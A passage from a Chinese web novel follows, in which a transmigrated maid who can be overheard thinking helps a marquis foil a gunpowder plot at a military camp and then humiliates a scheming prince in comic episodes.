“你在这坐着,烤鸭赶紧解决了” 晏无咎闪出去了,闪的很快,夏清棠没说出口的话在嘴里打了个滚又咽了回去,还是得跟出去看看。 军帐外,晏无咎下令,“今日停训,不再加训”,又转身朝几个下属交代,“必须看好新兵,今晚严禁有人进练武场”,暂时不能大动干戈着火药。 几人虽然不解,但是依旧照做。 新兵听到命令,小小欢呼了一下啊,纷纷乐着要去吃饭。 夏清棠出来看到晏无咎没拖拉,下令这么快,松了一口气。 “站住~!” 突然,一道极其阴柔的男声响起,是一个身穿白衣身形纤细的男子。 “站住!谁让你们下训的!谁允许的!” 靳兼仁眼神阴狠的看着场上的所有人,他直接大吼,“都给本公公站住!”。 嘈杂的练武场突然寂静,天空五只乌鸦飞过。 晏无咎站在人群前端,身形挺拔,居高临下的看着靳兼仁,“本侯允许的,怎么了”。 靳兼仁咽了咽口水,有些害怕,随即又想到自己干爹魏公公可是皇上身边的大红人啊,再看看这个晏无咎,不过是一个没背景的孤儿,靳兼仁挺了挺脊背,不自觉翘起兰花指,“镇北候啊,你不知道明日新兵演武,圣上要亲临观阅?”。 “如何能下训的这么早!明日圣上怪罪下来…不仅是你,连我也是要被拖累的啊” 晏无咎眸光寒如冰,“靳公公,训兵这事儿你是门外汉,何时练,练的如何,都是本侯说了算”。 靳兼仁生气了,他可是魏公公的干儿子,这个晏无咎竟敢对他如此不敬,“我可不管你是什么侯什么将,我只知道圣上最大!今日必须练好了过了本公公的眼!”。 铮—— 寒光四射,一把长剑倏然抵在靳兼仁的咽喉处,晏无咎不屑,“还敢叫嚣吗?”。 “你说,今日你若是死在这军营,本侯上奏说靳公公半夜跑出营地,遇到野狼被分食了,皇上会不会信?” 靳兼仁呼吸发紧,这只疯狗! 对了,还有兵部侍郎也在这儿呢,王侍郎肯定会阻止晏无咎。 靳兼仁气的翘起的兰花指都发抖,“你!你等着!”, 只见靳兼仁迈着小步子匆匆往茅厕的方向赶。 安瑾凑到晏无咎身边,“这靳贱人边往茅厕赶边叫你等着,不会是要去抓点不可言说的东西回来再攻击你吧”。 晏无咎被恶心到了,“滚!”。 怕是去搬救兵了,救兵刚好在茅厕。 不一会儿,脸色很白的靳兼仁气势汹汹地返回来了,身边跟着个脸色很臭的中年男子。 新兵们正又陆陆续续的往帐子走,结果又被一声怒吼喊住了。 “都站住!” “谁让你们如此早下训的!明日圣上怪罪可是要砍头的” 王侍郎绷着个脸,满脸怒气的看着场地上的新兵。 士兵们有些惊惧的目光纷纷移向晏无咎。 “是本侯,你要如何?” 王侍郎脸上的表情有些绷不住,靳兼任这个贱人敢阴他,居然没告诉他是晏无咎这只疯狗。 王侍郎语气轻了些,“原来是镇北候,镇北候,依本官看,今日是得加训,天色还不晚,今日我们多练会儿,明日圣上看到了不也高兴是吗,说不定圣上一高兴了,侯爷你一下又加官进爵了,这可是天大的好事儿”。 靳兼仁在一旁陪笑,心里得意,连王侍郎都这样说了,晏无咎总该服软了。 晏无咎没理会两人,“今日不加训,练武场严禁任何人入内”,低沉的声音精准传入在场每一个人的耳朵。 士兵们练了一整日早就累的头晕眼花,尤其是对这个阉人不满,一天到晚翘着个兰花指就是挑刺儿,现在镇北候都下令了,都是高兴的离开练武场。 王侍郎脸僵住,好!好得很!如此猖狂,连他这个兵部侍郎都不放在眼里,明日他一定要在皇上面前狠狠参这个晏无咎一笔。 靳兼仁凑近王侍郎,低声说,“王侍郎,明日可是圣上要来啊,这可由不得晏无咎胡闹”。 王侍郎皱眉,这个阉人身上一股味儿,“那你说如何,我也奈何不了他”。 靳兼仁刚才眼尖的看到晏无咎的营帐内居然藏这个女人,来军中当值居然还沉迷女色,明日若是新兵演武出了差错,那……哈哈哈哈! 王侍郎眼珠子转了又转,确实可以做点文章,这个晏无咎容貌桀骜还年纪轻轻,身上有军功还加官进爵,哪能样样好处都让他捞着。 两人的目光不约而同看向练武场西侧的兵器架上。 第十八章老晏撵人 两人的目光不约而同看向练武场西侧的兵器架上。 明日新兵演武,若是途中演武的兵器出了问题,箭镞甩出去了之类的,到时他再在旁边添油加醋说上几句……靳兼仁不怀好意的哼笑两声。 王侍郎在朝堂待了这么多年,这种把戏别光说是见了,用都不知道用了多少次,真真是屡试不爽。 两人对视,心照不宣的笑了笑。 靳兼仁低着声,“王侍郎,既然如此,那我们也先去吃饭,待夜深人静之时……”,剩下的话不言而喻。 王侍郎点点头,二人相伴离去。 两人不坏好意的笑声和密谈尽数让隐匿在木桶后的夏清棠听了去。 晚风掠过,夏清棠睫毛轻颤,那些火药是些定时炸弹,倒不如尽数赖在这俩不怀好意的恶人身上。 军帐内,安瑾好奇发问,“老晏,不是说今晚加训,一定要把这些新兵练出来吗?”。 晏无咎饮了一口茶,“我看练的挺好的”。 安瑾坏笑,“肯定是不忍心冷落自家小丫鬟吧”。 晏无咎:“不是” “萧策,命令都下达好没” 一旁的萧策点头,“所有新兵都在营帐中,并且已经派人看守”。 安瑾惊讶,“这么大阵仗?”。 晏无咎:“她会看天象,说今夜练武场西侧有大灾” 安瑾不可置信的瞪大眼,萧策也拧眉,显然对这个说法很不认同。 安瑾:“老晏,你怎么做到说这种话还能脸不红心不跳的,她?你嘴里的这个她不会是刚才那个丫鬟吧” 晏无咎不置可否。 一看晏无咎这样,安瑾就知道会看天象的绝对是那个女人,这种话居然都信,晏无咎绝对是被迷了心智。 安瑾:“你居然也信鬼神那一套,不是,你真信啊,那丫鬟就这么厉害?” 萧策也不认同,“将军,怎可听信那姑娘的一面之词,明日若是皇上怪罪,如何是好”。 晏无咎不耐蹙眉,“皇上最好直接把我撤职”。 帐外传来声音,“侯爷,我方便进来吗?”。 “进” 夏清棠一进来目光率先落在萧策身上,是那个萧大夫! 这可得树立良好形象啊,夏清棠走进几人,规规矩矩的朝晏无咎行了个礼,又朝安瑾和萧策的方向福了福身子。 “侯爷,奴婢给你倒茶” 夏清棠微垂着头,轻轻走到晏无咎身边,抬手倒茶。 晏无咎饶有兴味的看着此刻罕见的有规矩的夏清棠,嘴角扯起一抹坏笑,“王嬷嬷教的不错,夏大丫鬟居然知道礼该怎么行了”。 夏清棠语气轻柔,“侯爷说的对,王嬷嬷确实教的好”。 【呵呵呵,要不是为了在神医面前留下好印象,我直接一个摔倒就把茶水扣你身上!】 神医?安瑾吗?晏无咎危险的眯起双眼,敢情这女人是真的又物色好下一个目标了,果真是水性杨花,居心叵测! 晏无咎手指摩挲着茶杯,“去,给那两位倒茶”。 夏清棠眼眸一亮,乐呵呵的拿着茶壶去倒茶,下一秒,就听到晏无咎嘲讽的声音。 “看来王嬷嬷教的还是不够好,一点眼力见都没有” 夏清棠无语的翻了个白眼,晏无咎这个挑刺怪! “这位公子,你的茶” “这位公子,你…” 夏清棠来到安瑾和萧策身边,脸上迅速挂上温柔美好的笑容,温声细语的。 晏无咎舌尖顶了顶上鄂,挺好,这女人最好少来烦他。 晏无咎:“你俩出去吧,不是还有事儿吗?” 刚拿起茶杯要喝口茶,顺便要观察一下夏清棠的安瑾愣住了,还没反应过来,就被旁边的萧策揪到帐外。 安瑾不可置信的指着军帐,“老晏是在撵我们?”。 萧策淡淡瞥他一眼,“对”。 安瑾:“果然是被那女人迷了心智,这可是军营啊,居然就堂而皇之把女人留在帐内”。 萧策:“将军这样做,肯定是有自己的打算” 安瑾张嘴还想说什么,萧策打断他,“去新兵的营帐”。 安瑾没招了,轻啧了声又赶紧跟上。 日暮降临,离夜深人静很近了。 夏清棠:“侯爷,今晚你还有一劫” 晏无咎:“我这么多灾多难?” 夏清棠同情的目光盯着晏无咎,“对呀,好在,我来了”。 【你多灾多难,我更可怜好不好,莫名其妙就来了这么个破地方!回还不知道咋回】 晏无咎:“油嘴滑舌!” 夏清棠:“……” 【你不知好歹!你狼心狗肺!你傻得要死!】 晏无咎听着眼前女人心里气急败坏的叫骂声,心情莫名好了些,“来,说说这破解之法”。 夏清棠刚要张嘴,“今晚……嘶!”。 一阵阵剧痛突然袭来,夏清棠脚下一个踉跄,没站稳身子,直直向前倒去。 晏无咎瞳孔震缩,一个箭步立刻接住夏清棠。 夏清棠死死咬着嘴唇,克制着不发出痛呼声。 晏无咎低头看着夏清棠,声音焦急,“夏清棠,你怎么了!夏清棠!”。 晏无咎抱起夏清棠就要冲出军帐。 【好多了】 身上的疼痛稍稍减缓了些,晕晕乎乎中夏清棠感觉自己被打横抱起,意识猛地清醒,她伸手抓住晏无咎胳膊,“侯爷,老毛病了,没事”。 【晏无咎你真是蠢的够可以,知不知道军营里本来就有两个要害你的,还敢把我抱出去啊你,真想救我,你不能把大夫叫进来吗?】 【哎哟我去,我好像知道了,晏无咎绝对是想让我当靶子,当诱饵,然后把要害他的引出来!好恶毒的男人】 晏无咎焦急的脚步猛地顿住,不可置信的听着怀中女人恶意揣测的心声,好一个狼心狗肺的女人。 【怎么能这么恶毒啊,那我就更不能让晏无咎知道我需要他,不然,岂不是让他捉住把柄!】 晏无咎冷哼,这女人心理活动这么丰富,看来是真没事儿了,还有,需要他?需要他还当着他的面企图勾搭其他男人。 晏无咎凉凉的声音从头顶传来,“没事了?”。 “没事儿了就从我身上下来!” 夏清棠:“……” 【还想抱一会儿怎么办】 晏无咎挑眉,双手啪的松开。 第十九章目击陈述 夏清棠敏锐的察觉到晏无咎松开的双手,立刻反应过来,双脚稳稳的站在地上,眼珠子一转,浑身又软溜溜的倒地。 她面上表情泫然欲泣,像看负心汉一样的眼神看着晏无咎,“侯爷,虽然你经常这样对我,但我还是心甘情愿为你破灾”。 晏无咎颇有些无语,干脆伸手又一下把夏清棠拉起,声音罕见的温柔,“是本侯的错”。 【狗男人!】 【晏无咎会听我的吗?】 “今夜让我和你睡在一个帐内,或许你今夜的灾和明日的灾都可破解” 晏无咎:“和我睡一起?” 【废话,不然呢,我咋引你出去抓人,咋把火药的事顺理成章安那两人头上】 【我直接跟你说那兵器架下埋得火药,我真怕你给我毙了】 晏无咎沉默了,若不是能听到这女人的心声,他可能真的会把这女人杀了。 夏清棠:“方便我伺候你嘛” 【狗男人得了便宜还在这装!要不是你有用,我才不会帮你】 晏无咎嘴角咧起弧度,“行——夏大丫鬟这么好心,本侯就只能受着了”。 夏清棠静静的躺在地上临时打的地铺上,身体里还有一阵阵的疼痛,不过在可忍受范围内,她闭上眼细细听外面的动静。 晏无咎在假寐。 夏清棠突然起身,“侯爷,我尿急”。 “嗯” 晏无咎直接起身跟出去。 一片漆黑,只有些许月光带来些明亮,军帐处距离练武场有些距离,夏清棠在听到外面有两人的脚步声后,就悄然跟了上去,果然看到那个王侍郎和什么太监鬼鬼祟祟。 夏清棠藏在距离练武场有些距离能保证火药炸开不炸到自己的杂物堆后,眯着眼细看,却突然发现黑暗中不只有两道身影! 江汐汐和辜战今夜是来引燃火药的,本来内应说是今夜加训,会有时机点燃引线,不了今夜偏偏又不加训了,只好她俩上场。 火药埋得非常浅,直接扔一个火把子就行,就是可惜了,没法儿让那晏无咎吃亏,不过,今晚这一炸,也能让那狗皇帝加剧想杀晏无咎的心。 看到兵器架下有鬼鬼祟祟的两个身影,辜战低声对江汐汐说,“去他的狗王朝,来这一趟不亏,不仅能让晏无咎吃亏,还能炸死两人”。 江汐汐面色阴冷,“下次去皇宫埋”。 火把燃起,江汐汐毫不犹豫,直直将其抛到浅埋着火药的地面。 咕噜咕噜…… 沉浸在干坏事儿兴奋中的王侍郎疑惑,“啥声音?什么东西滚过来了,还滋滋的”。 靳兼仁不耐烦,“能有啥”。 砰——!! 随着轰的一声巨响,土层瞬间被掀飞,王侍郎和靳兼仁被火药炸飞,鲜血流了一地。 “啊啊啊啊啊啊啊!!” 夏清棠没想到这一切会发生的这么快,她是真的被吓到了,尖叫声真情实感,只是稍微参杂了点表演成分。 火药的轰炸声炸醒了全军营的人,所有人匆匆赶来,夏清棠作为唯一的目击证人正在被关怀。 晏无咎匆匆披了件儿衣服,像是刚被炸醒,他沉声吩咐,“跑了两人,快去追,还有整个军营都要排查火药”。 “至于地上这两人,送去京城的医馆” 地上的王侍郎和靳兼仁浑身是血,还有呼吸,不过送到京城的医馆怕是也要不行了。 夏清棠被吓得浑身颤抖,满脸泪花,声音断断续续,“侯爷,呜呜呜,我只是出来上茅厕,没想到……没想到……”。 晏无咎走过来,面色严肃,“别害怕,把你看到的都说出来,在场的所有人都是证人,我们都相信你”。 在场的所有士兵都心有余悸地点头,还好将军明智,停了今晚的加训,不然今夜躺在地上鲜血直流的就是他们了。 【狗男人还挺上道,这会儿脑子倒是在了】 夏清棠抽抽噎噎,“我今夜起来上茅厕,就看到两个鬼鬼祟祟的身影往练武场走,我害怕他们会去搞破坏,就跟了上去”。 “然后,然后我就看到这俩人在练武场西侧的兵器架下待了好久,天太黑了,我也看的不是很清” “我就跟着在这杂物堆后待了好久,相等他们走了之后再去看看有什么蹊跷,结果,结果我居然又看到两道身影” “那两人……” 夏清棠怯怯的看向晏无咎,晏无咎声音冷沉,“继续说”。 “那两人手里拿着火把,好像在和王侍郎还有那位公公说话,没一会儿,几个人就争吵起来了,他们吵得声音太大,我零星听到些” “他们说,全都去死之类的,还说要让侯爷你……名声毁了” 听了许久的安瑾不禁发问,“那为什么会有火药炸开”。 夏清棠:“我不知道,我只看到几个人不欢而散,离开那两个黑衣人直接把火把扔到地上,然后就轰的一声,地面被炸出一个大坑,地上多了两血人” “呜呜呜呜……侯爷,他们两个会不会死掉呀” 晏无咎轻咳了两声,昧着良心说,“不会”。 军营里一阵阵的议论声,都在想为什么会有火药,王侍郎和靳公公到底和什么人发生争吵了。 突然,一道带着崇拜和感激的女声清亮的传入每个人的耳中,比刚才所有的目击陈述都让人心惊。 “侯爷,还好你明智,没有加训,还因此冲撞了非要加训的王侍郎和靳公公,不然…不然我真的不敢想刚才躺在地上的人会是谁” 真正的一石激起千层浪,对呀,若不是将军坚持不加训,现在快要死的人就是他们了,想到这,所有士兵都一脸敬意看着晏无咎,再想到那个什么王侍郎和靳公公,不仅非得要求加训,半夜还鬼鬼祟祟的跑到练武场和不知名黑衣人见面,一看就是不怀好意,绝对是居心叵测! 安瑾在角落啧啧称奇,怪不得能迷了老晏呢,是有点小伎俩在身上的。 晏无咎眼神复杂的看了夏清棠一眼,“夏姑娘,今晚这事情确实很严重,你受到了惊吓,先去休息”。 夏清棠微微福了福身,“侯爷,能为侯爷做点有用的事儿,我真的很荣幸”。 “对呀,夏姑娘真是胆识过人,为了我们军营的安危,冒险跟着那两个狗贼” 新兵中有不少胆大豪气的人,扯着嗓子夸赞夏清棠,开了个头,立马就有不少士兵附和。 “可不是嘛,夏姑娘真是女中豪杰” “……” 夏清棠腼腆的笑了笑。 【还是这群新兵们好啊,一个个清澈帅气还心善】 冷不丁和晏无咎视线对上,夏清棠装作没看到。 【不像晏无咎这个狗男人,长得倒是一顶一的帅气,就是心肝太黑了】 【看不出来我帮了他这么大一个忙吗,也不知道意思意思】 第二十章动心 【狗男人一直盯着我干嘛】 晏无咎意味不明的勾起唇角,俯下身,凑到内心还在喋喋不休的夏清棠耳边,用只有两个人才能听到的声音说,“夏清棠,你不惜折了寿命,泄露天机,也要帮我,我该怎么报答你才好呢”。 “你不是口口声声说爱慕我吗,我让你得偿所愿,如何?” “让你夜夜抱着我入睡” 一句接着一句让人意想不到的话从晏无咎口中吐出,不断冲刷着夏清棠的大脑,抱着晏无咎睡觉,夏清棠脑子脱离了她的控制,已经该死的出现她搂着裸男晏无咎就寝的画面,天!夏清棠羞耻的眨了眨双眼,坚定撇去这些不正经的想法。 【这个狗男人居然是个闷骚男!不要脸,居然想色诱她】 夏清棠现在眼里一派坚定,一股正气,说出的话却足以让听者落泪,“侯爷,只要你能好好活着,我就很开心了,又岂能奢求这本不属于我的”。 【狗男人死一边去,居然还想占我便宜】 晏无咎黑眸紧紧盯着夏清棠,接近他,帮助他,费尽心思想摸他,口口声声说爱慕他,偏偏心里又想离他远点,到底哪句话是真的。 夏清棠被晏无咎看的心头一跳,下意识往后退,“侯爷,我头晕,我先去睡觉了”。 晏无咎双眸沉得发黑,有点烦,胸口有点闷。 …… 练武场加强了看守,萧策应晏无咎的命令安排完事情后,就看到了自家将军孤身站在阴暗角落,看不清神色。 “将军,一切处理妥当” 晏无咎收回思绪,“嗯,明日演武用兵器呢”。 萧策微微颔首,“您说的不错,部分兵器确实有被动手破坏过的痕迹,已经全部放置好,又另外换了一批好的”。 “嗯” 萧策:“安瑾说家中有急事,让我告诉您一声,他得回家几天,现在应该已经上路了” “行”,晏无咎扶额,安瑾是不是又忘记给他配药了,那药的效果确实不错,这几日头痛减轻了许多,算了,少吃几天也不是什么大事。 晏无咎朝自己的军帐走去,看到军帐不远处说自己头晕的夏清棠正在和一群毛头小子说笑。 “夏姑娘,你可有婚配?” 夏清棠脸上的笑戛然而止,还是年轻人莽啊。 真挚又期待的目光牢牢注视着夏清棠的脸,夏清棠干笑两声,张嘴正要拒绝,后方传来一道冰冷低沉的男声。 “都很闲吗?现在是不是都不累” “不想休息的去加训” 话音刚落,一溜烟的全散场了。 夏清棠凌乱了两秒,下一秒就看到晏无咎深不见底的眼眸,晏无咎这眼珠子真黑。 “侯爷你怎么啦?我看你眼珠子有些不对劲儿,太累了就赶紧去休息” “……” 晏无咎笑了,被气笑的,这个女人的脑子和嘴是挺有趣的。 晏无咎又默默朝夏清棠走了几步,想听这个女人在想什么。 【晏无咎是不是有病,把我新认识的帅气小男生赶走,还笑得这么开心】 【狼心狗肺!我呸!】 晏无咎抿唇,目光有些幽怨的看着夏清棠,“我还不累”。 夏清棠打了个哈欠,“侯爷你这么强啊,我累了,可以先去休息吗?”。 晏无咎:“嗯” 【嗯,嗯嗯嗯嗯,嗯是个啥意思,行还是不行,我服了】 夏清棠现在懒得搭理他,应付笑了一下,“好的侯爷,多谢侯爷”。 那眼神看的她还发毛了。 晏无咎一人在外面吹了好久的冷风,一连打了好几个喷嚏后,才慢步走回军帐。 军帐里还飘有烤鸭的香味,还有夏清棠均匀平稳的呼吸声,她睡得很香。 一片阴影遮在熟睡女人的面容上,久久没有移动。 “阿嚏!” 地铺上的女人皱了皱眉,翻了个身裹紧被子。 晏无咎轻笑,弯腰抱起夏清棠放在了木床上,虽然不抵府里的床榻,但在这深秋,木床也是不错的选择。 咚——!咚咚咚! 天刚蒙蒙亮,咚咚咚的敲鼓声响彻整个军营,鼓声停止时,练武场已经站满了队伍。 气势昂然的士兵们在指挥下开始了今日演武前的最后一次练习。 夏清棠醒来时,脑子有些发懵,她怎么在床上躺着,诡异!恐怖! 晏无咎从帐外进来时,看到的就是夏清棠躺在床上一脸惊恐的检查自己衣着的画面,他恶劣一笑,莫名就想逗逗这女人。 听到不怀好意的笑声,夏清棠警惕的看向门口,是晏无咎。 狗男人,笑什么,笑得还那么坏。 晏无咎斜倚在门内的木桩上,“夏大丫鬟,昨晚是不是睡得很香”。 夏清棠被问的一愣,“还行”。 晏无咎收起笑意,“夏大丫鬟,本侯知道你很仰慕我,可是你昨晚的行径实在是……”。 夏清棠眼眸瞪大,这只坏狗绝对不说好话。 “实在是可耻” 果然…… 晏无咎直起身子一步步走向夏清棠,深沉的眼眸直勾勾的盯着夏清棠,夏清棠有点起鸡皮疙瘩,她得赶紧回侯府洗澡了,感觉身上黏黏的。 “你昨夜突然哭着从地铺爬起来,爬到了本侯的床上” 夏清棠:!! 不可能!!她绝对没有梦游的习惯! 看到夏清棠羞愤的脸蛋,晏无咎喉结上下滚动了一下,声音哑了几分,继续编造故事,“爬到我的床上你还不罢休,你有哭着喊好冷,硬要往我的杯子里钻”。 夏清棠心里已经骂了晏无咎一万遍了。 “侯爷,我奶奶告诉我说瞎话是要遭报应的”,你快别瞎说了。 晏无咎挑眉,“是吗,还好本侯一般不说瞎话”。 “咳咳,本侯体谅你,便将那床让给你”,说着晏无咎还应景的咳嗽了几声。 夏清棠满脸感动,“侯爷,你真是人民的好侯爷”。 【虚货,躺了个地铺都能虚成这样】 晏无咎脸一僵。 “侯爷,皇上的銮驾出发了” 第二十一章又见朔千钰 日头渐高,将午时分,终于见到了景明帝銮驾。 …… “好!哈哈哈,不愧是镇北候啊” 新兵演武的效果景明帝很满意,夸了几句,话题就转到了昨夜的事上。 景明帝神情严肃,“王侍郎和靳兼仁居然与逆贼勾结,还在军营悄悄埋下火药”。 “镇北候,排查完了吧,确定军营没火药了?”,景明帝眼神意味深长。 晏无咎:“是” “行,改日,朕让砚辞来好好帮帮你,事关火药,这可是大事儿啊” 晏无咎:“嗯” 景明帝神色不明的看着晏无咎,“朕听说,这还得多亏了你府上那个丫鬟?”。 晏无咎沉默一瞬,语气带上鄙夷,“不过是个丫鬟,称不上多亏了她,能为主子卖命是她的荣幸”。 景明帝满意大笑,“不错不错”。 景明帝走了,临走时还不忘让身边的魏公公提醒晏无咎后日记着带那个丫鬟进宫赴宴。 皇帝銮驾内。 魏公公一脸悲怆,“皇上,小靳子绝对不会是内鬼”。 “那可是我唯一的干儿子啊,他是什么德行我能不知道吗,绝对是那晏无咎搞的鬼,栽赃陷害王侍郎和小靳子” “哎呦,可怜王侍郎和小靳子啊,受了那么重的伤” “行了!” 銮驾里景明帝神情阴鸷,为什么偏偏镇北军那群草芥就认晏无咎这个将军。 …… 军营口,夏清棠要回去了,她依依不舍的看了一眼军营内萧策的身影,她还没来得及和神医多说几句话。 晏无咎侧了一下身子,精准挡住夏清棠往里望的目光,这个女人惦记的人还真是不少啊。 夏清棠:“侯爷,我先回去了”。 希望晏无咎能带他的神医好友多回府待待。 回京城镇北候府这段路上,又发生意外了。 夏清棠知道自己一出门就会被晏无咎的暗卫跟着,但这一次,暗中跟着的人中明显有不一样的气息。 “驾!” 夏清棠快马加鞭,再有一段路程进了京城里就好了,马蹄声哒哒哒,夏清棠终于回到京城。 到底是谁在跟着她,不会又是朔砚辞吧,那个挨千刀的,马上就要到入宫赴宴的日子了,那日刚好还是十五,现在手里就一颗安心丸,给朔砚辞那种货色偷晏无咎的玉佩,啧啧,想想都恶心,目前来看,晏无咎是比朔砚辞可信度高些。 “夏姑娘,你可算是回来了,侯爷还好吗?” 林木守在侯府门口,一看到夏清棠回来,就迫不及待地迎上去。 “你家侯爷好好的” “知道吗,多亏了我” 说实话,林木有些怀疑,所以林木选择转移话题,“今日灵汐公主还来府上找侯爷,得知侯爷不在,刚好离开,夏姑娘你就回来了,真是巧”。 夏清棠:“哈哈,那我还挺幸运的”,没遇上那个疯癫公主。 “林木,你怎么了?我身后有鬼吗?” 夏清棠见林木的目光看着她身后,一扭头,居然看到了朔千钰。 走了妹妹,来了哥哥,这俩兄妹是赖上晏无咎了吧。 林木行礼,“四皇子”。 夏清棠跟着做,“四皇子”。 朔千钰深沉的点了点头,“你们侯爷还没回来?”。 林木:“是” 三人站在侯府门口,朔千钰笑了笑,“怎么,不欢迎本皇子进去坐坐?”。 林木连忙说不是,又赶紧把给迎进去。 夏清棠觉得朔家的人脸皮是都挺厚的。 林木跟在朔千钰身后很难受,这个四皇子经常这样,也不管侯爷在不在府上,每次都是想来就来,他每次还得给这个四皇子当奴才。 侯府正厅内,朔千钰一派气定神闲的坐在太师椅上,目光油腻的扫视正在给他倒茶的夏清棠身上。 夏清棠端着一杯滚烫的浓茶,柔柔的朝朔千钰一笑,“四皇子,请用茶”。 朔千钰伸手去接,夏清棠手一歪。 “呀!” “嘶!” “这位姑娘是在想什么事吗?” 朔千钰被烫的就要绷不住了,晏无咎这个蠢货府上的下人居然也这么蠢。 夏清棠害怕的垂下头,浑身哆哆嗦嗦,“四皇子赎罪,我…我不是故意的”。 朔千钰意味深长的看着夏清棠,无奈的叹了口气,好像很善解人意,“罢了,也不失什么大事”。 夏清棠始终低着头,她怕抬起头白眼翻上天,要不是见识过这男主油腻猥琐的一面,她可真要被骗了。 朔千钰又说:“就是要劳烦这位姑娘帮忙给在下找个药膏了!” 夏清棠一溜烟就跑出去了。 林木在门口,“夏姑娘,这是咋了”。 夏清棠:“他没接好茶杯,被烫了” 林木点头,“你去找药膏吗?我这里刚好有”。 夏清棠:“……林木,你……” 林木:“啥?” 夏清棠:“没事” 正厅传来朔千钰和煦的声音,“这么快就找到药膏了?为何不进来”。 夏清棠推了林木一把,小声命令,“你去,你拿着药膏进去”。 林木手拿的药膏一脸菜色的走在夏清棠前面,“四皇子,我有药膏我来给你抹药”。 朔千钰看了看这个五大三粗,黑的发紫的侍卫,嘴角僵硬的扯起一抹笑,“还是让这位姑娘来吧”。 林木无辜的看了夏清棠一眼,将药膏交在她手里。 夏清棠冷笑,油腻猥琐男你完蛋了。 夏清棠怯怯的走到朔千钰身边,就要给朔千钰抹药。 抹着抹着,她的手悄悄地在朔千钰掌侧横纹头的部位拧了半圈。 “嘶!” 还在立温润人设的朔千钰面部表情狠狠抽搐,还好他装的时间够长,面部表情立马又恢复温润,“这位姑娘,你抹药可得当心点啊”。 夏清棠惊慌的呀了一声,怯懦的收回手,“我不是故意的”。 这个丫鬟笨手笨脚的,晏无咎还愿意将其留在身边伺候,肯定不是因为这丫鬟长得貌美,毕竟晏无咎这家伙不近女色是出了名的。 朔千钰:“抬起头来” 夏清棠抬起头,眼眸依旧低垂,长睫打下阴影,叫人看不清其中神采。 朔千钰眯起眼,这张脸……怎么有点熟悉。 “侯爷,你回来了”,站在一旁的林木眼尖的看到了出现在门口的晏无咎。 第二十二章邪门cp 晏无咎进门的动作顿住,入目的画面有些刺眼,朔千钰坐在高位,身旁夏清棠微弯着腰,双手抚在朔千钰手上,两人似乎在说什么,此刻正互相看着对方。 他兀然站在这里,倒是显得违和了些。 听到门口的动静,朔千钰扭头看去,脸上的温润笑意带上些真实性,“无咎兄,你回来了”。 夏清棠收起药膏,默默站在一旁。 晏无咎:“听下人说府中正在待客,原来待的是你啊” 朔千钰:“无咎兄这说的是什么话,我不是经常来你这府上寻你吗?” 晏无咎目光落在朔千钰摸了药膏的手上,“四皇子,这是怎么了?”。 朔千钰无奈一笑,看了眼夏清棠,“哎,不是什么大事,就是你府上的丫鬟给我茶杯的时候,没拿稳,倒我手上了”。 晏无咎眼底的不爽骤然淡了几分,“是吗,我这丫鬟笨手笨脚的,自然比不上皇宫里的丫鬟”。 “你来寻我有何事儿” 朔千钰眼底精光闪烁,这个晏无咎还算上道,“无咎兄,你府上是不是最近出了什么事,有事你可一定得给我说,上次你说往我那里送东西,却迟迟不见你送来,我一琢磨,猜想肯定是你最近太忙了”。 “唉!无咎兄你能力强,父皇自然是想让你多担些责任,不像我……”,话才说到一半,朔千钰突然感觉肚子隐隐作痛,他没当回事儿,又继续说,“不像我整日无所事事,父皇始终是不看好我啊”。 夏清棠注意到了朔千钰的状态,拼命压制要翘起的嘴角,刚才趁给他抹药的时候,使力拧了一下他手上的后溪穴,大概再过一会儿,这人就要去狠狠窜稀了。 想想就憋不住笑。 晏无咎:“你有能力,你父皇自然会器重你” 憋笑的夏清棠冷不丁听到这话,差点狂笑出声,晏无咎这人不能处,嘴太毒了,男主那张脸上的体面都快装不下去了。 朔千钰强迫自己冷静,他这么多年可不是白装的,“可若是有能力,父皇却看不到,唉……”。 晏无咎:“你能力大点,你父皇自然会看到”,晏无咎有些不耐,天天来找他说点有的没的,说个话磨磨唧唧的。 朔千钰:“……” 今天怎么这么无力……晏无咎这个草包蠢货脑子里真是空的可怕,说话过不过脑子,他可是皇子。 晏无咎无意瞥到夏清棠颤抖的肩膀,双脚不自觉地向她靠近,这女人是在哭吗? 【服了,晏无咎这张嘴简直是要笑鼠我了,嘎嘎嘎】 晏无咎嘴角不自觉勾起弧度,心情也好了许多,他看着朔千钰,“四皇子找我什么事”。 朔千钰:“你说往我那送的药材呢” 晏无咎声音冰冷,“明日”。 【不是吧不是吧,晏无咎不会真要给他送吧】 朔千钰一喜,晏无咎果然还是很听他的话,他又将目光落在夏清棠身上。 “不过,无咎兄,你府上的丫鬟确实是该好好调教调教了,不如,送到我那” 朔千钰说这话很硬气,好似晏无咎肯定会答应他一般。 晏无咎眼神森然,周身气势可怖,“不必”。 【去你大坝的,他*的还想调教我,我先把你给断子绝孙了】 夏清棠现在真的已经完全对这个所谓的书中男主去魅了,听到晏无咎说不必,夏清棠感叹,还好晏无咎有点良心。 【还好晏无咎有点良心】 朔千钰张嘴,“无咎兄,你……”,一股尖锐的剧痛突然从肚子里袭来,疼的他瞬间忘了自己要说什么。 【发作了发作了,要狠狠的去窜稀了】 晏无咎一愣,反应过来是夏清棠干的好事,眼里瞬间溢满笑意,这个女人真是好样的。 晏无咎佯装关切,“四皇子,你这是怎么了,是否需要我找个大夫给你看看”。 朔千钰面色苍白,额头冷汗直冒,要憋不住了,“不必了,无咎兄,我想起来我还有急事儿,先走一步”。 话音刚落,朔千钰就疾步往外走,仔细看,他屁股夹得紧紧的。 “噗!” 夏清棠终于憋不住,哈哈笑起来。 晏无咎目光看着夏清棠灿烂的笑容,嘴角扯起了有史以来最大的弧度。 夏清棠收敛了笑容,【晏无咎笑啥呢,嘴角还扯那么大,怪瘆人的,好想追出去看看有没有名场面啊】。 晏无咎:“傻笑什么,还不快出去送客” “好嘞!” 夏清棠一溜烟儿跑出去,晏无咎迈步跟在后面。 体内翻江倒海,朔千钰走路姿势极其扭曲,走到侯府门口,看到马车,朔千钰也丝毫不敢松懈,这死肚子越来越疼了,感觉里面的东西就要到门口了。 刚踏上马车就要掀帘进去。 咕噜噜—— 噗呲! 裤腿里一阵阵的热流,大脑宕机了几秒,直到臭味钻进鼻孔,朔千钰面色五彩斑斓,猛地钻进马车。 “娘,有人拉裤子了”,一路过小孩大声呼喊。 他娘赶紧捂嘴,小孩继续大叫,“大人还拉裤子,我一个小孩儿拉裤子怎么了”。 朔千钰这人虽然平时装的很低调,但是每次出门坐的马车却一点都不低调,稍微有点见识的一看就知道这是哪个皇子坐的。 而现在,这辆马车上却有某色不明物体。 